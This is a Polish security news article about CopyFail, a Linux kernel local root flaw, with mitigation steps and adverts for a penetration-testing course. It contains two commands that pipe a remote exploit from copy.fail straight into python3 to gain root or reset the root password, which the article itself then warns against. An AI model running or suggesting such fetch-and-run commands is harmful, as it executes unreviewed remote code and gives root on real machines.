Ujawniono atak na wszystkie Linuksy wydane po 2017 roku. W sieci pojawił się też kod exploita. Uruchomienie go na podatnej maszynie daje atakującemu prawa roota. Szczęście w nieszczęściu: ta podatność to Local a nie Remote Privilege Escalation. Mimo to, polecamy szybkie wgranie aktualizacji wszystkim, nie tylko adminom maszyn na których pracuje wielu użytkowników lub hostowane są kontenery.
Jak sprawdzić, czy jesteś podatny?
Aby zweryfikować, czy Twój system jest podatny, wystarczy uruchomić ten 732 bajtowy skrypt Pythona. Na szybko można wykonać poniższe polecenie — po prostu skopiuj je i przeklej do terminala z poziomu zwykłego użytkownika. Jeśli po jego uruchomieniu zobaczysz uid=0(root) i zostaniesz rootem, to jesteś podatny na atak:
curl https://copy.fail/exp | python3 && su
Skopiowałeś i przekleiłeś bez sprawdzenia co jest pod URL-em? Błąd. Nigdy tego nie rób! “Pajpowanie” kodu z internetu do shella to proszenie się o kłopoty. I nie — wejście przeglądarką na URL i sprawdzenie kodu nie wystarczy, bo złośliwa strona może serwować Twojej przeglądarce co innego niż curlowi pod tym samym adresem (tzw. User-Agent cloaking). Poprawne zachowanie to lektura wyświetlonego kodu pod kątem złośliwych instrukcji (jeśli sam nie potrafisz tego ocenić, poproś o pomoc swojego asystenta AI) a potem skopiowanie kodu do lokalnego pliku i dopiero wtedy jego uruchomienie w interpreterze Pythona.
Na marginesie, jeśli chcesz nauczyć się testować swoje środowiska pod kątem różnych podatności, dziur i ataków, to wpadnij na nasze bestsellerowe, szkolenie z testów penetracyjnych pt. Bezpieczeństwa Sieci i Systemów Komputerowych. Przez 3 dni hakujemy tam na różne sposoby różne maszynki, pokazujemy techniki i narzędzia, dzięki którym jesteś w stanie sprawdzić swoje środowisko pod kątem różnych ataków i w konsekwencji znacznie podnieść jego bezpieczeństwo. To szkolenie to bardziej warsztaty, bo realizujemy je w duchu minimum teorii, maksimum praktyki. Oto jego najbliższe terminy:
Kraków: 13-15 maja 2026r. — UWAGA: zostały tylko 4 wolne miejsca
Ostatnio ktoś zarejestrował się 10 kwietnia 2026r. → zarejestruj się na to szkolenie
-
3944 PLN netto (do 1 maja)
4444 PLN netto (od 2 maja)
Wrocław: 17-19 czerwca 2026r. — zostało 6 wolnych miejsc
Ostatnio ktoś zarejestrował się 18 marca 2026r. → zarejestruj się na to szkolenie
-
3944 PLN netto (do 8 maja)
4444 PLN netto (od 9 maja)
Warszawa: 01-03 lipca 2026r. — zostało 7 wolnych miejsc
Ostatnio ktoś zarejestrował się 26 kwietnia 2026r. → zarejestruj się na to szkolenie
-
3944 PLN netto (do 8 maja)
4444 PLN netto (od 9 maja)
ZDALNIE: 26-28 sierpnia 2026r. — zostało 9 wolnych miejsc
Ostatnio ktoś zarejestrował się 30 marca 2026r. → zarejestruj się na to szkolenie
-
3944 PLN netto (do 15 maja)
4444 PLN netto (od 16 maja)
Dlaczego ten atak jest możliwy i dlaczego jest tak istotny?
Luka jest wynikiem błędu logicznego w kodzie kryptograficznym jądra (uwierzytelnianie przez AF_ALG i splice()), który umożliwia niewielkie zapisy w pamięci podręcznej stron (page cache), co może naruszyć integralność binarek setuid, takich jak /usr/bin/su.
A teraz po polsku 🙂 Praktycznie każdy Linuks wydany po 2017 roku jest podatny. Skutki tej dziury mogą być dramatyczne na środowiskach współdzielonych, czyli hostingach i serwerach z Kubernetes, procesami CI czy nawet w różnego rodzaju sandboxach, bo błąd może pozwolić na ucieczkę z kontenera i przejęcie systemu hosta przez użytkownika (tenanta).
Tą podatność / atak nazwano CopyFail (CVE-2026-31431). Patche są już w mainline kernela (a664bf3d603d) od 1 kwietnia. Co ciekawe, ta luka została wykryta przez skaner “dopalony” AI.
Są plusy tego ataku…
Jeśli masz maszynkę, do której zapomniałeś hasła roota, to teraz masz szansę je sobie nie tyle przypomnieć, co zmienić na dowolne 🙂 Po prostu zhackuj swojego Linuksa tym atakiem używając tego polecenia:
$ curl https://copy.fail/pw | TARGET_USER=root python3 | su
I błagamy, daj znać, że drugi raz nie zrobiłeś pajpa do pythona bez czytania tego, na co kierujesz curla.
Mam Linuksa — co robić, jak żyć?
Jeśli uruchomiłeś powyższy skrypt Pythona i zobaczyłeś uid=0(root) to jesteś podatny. W pierwszej kolejności zaktualizuj kernel do mainline a664bf3d603d.
Jeśli nie możesz wgrać aktualizacji, to wyłącz moduł algif_aead wykonując następujące polecenia:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
I na koniec, jeszcze raz zapraszamy wszystkich adminów do udziału w naszym szkoleniu z Bezpieczeństwa Sieci Komputerowych — tam nie tylko nauczycie się jak hakować Linuksy na różne sposoby, ale także dowiecie się, jakie zabezpieczenia można wdrożyć, aby nawet pojawienie się takich błędów jak CopyFail nie było problemem dla Waszej maszyny (albo było problemem zdecydowanie mniejszym).

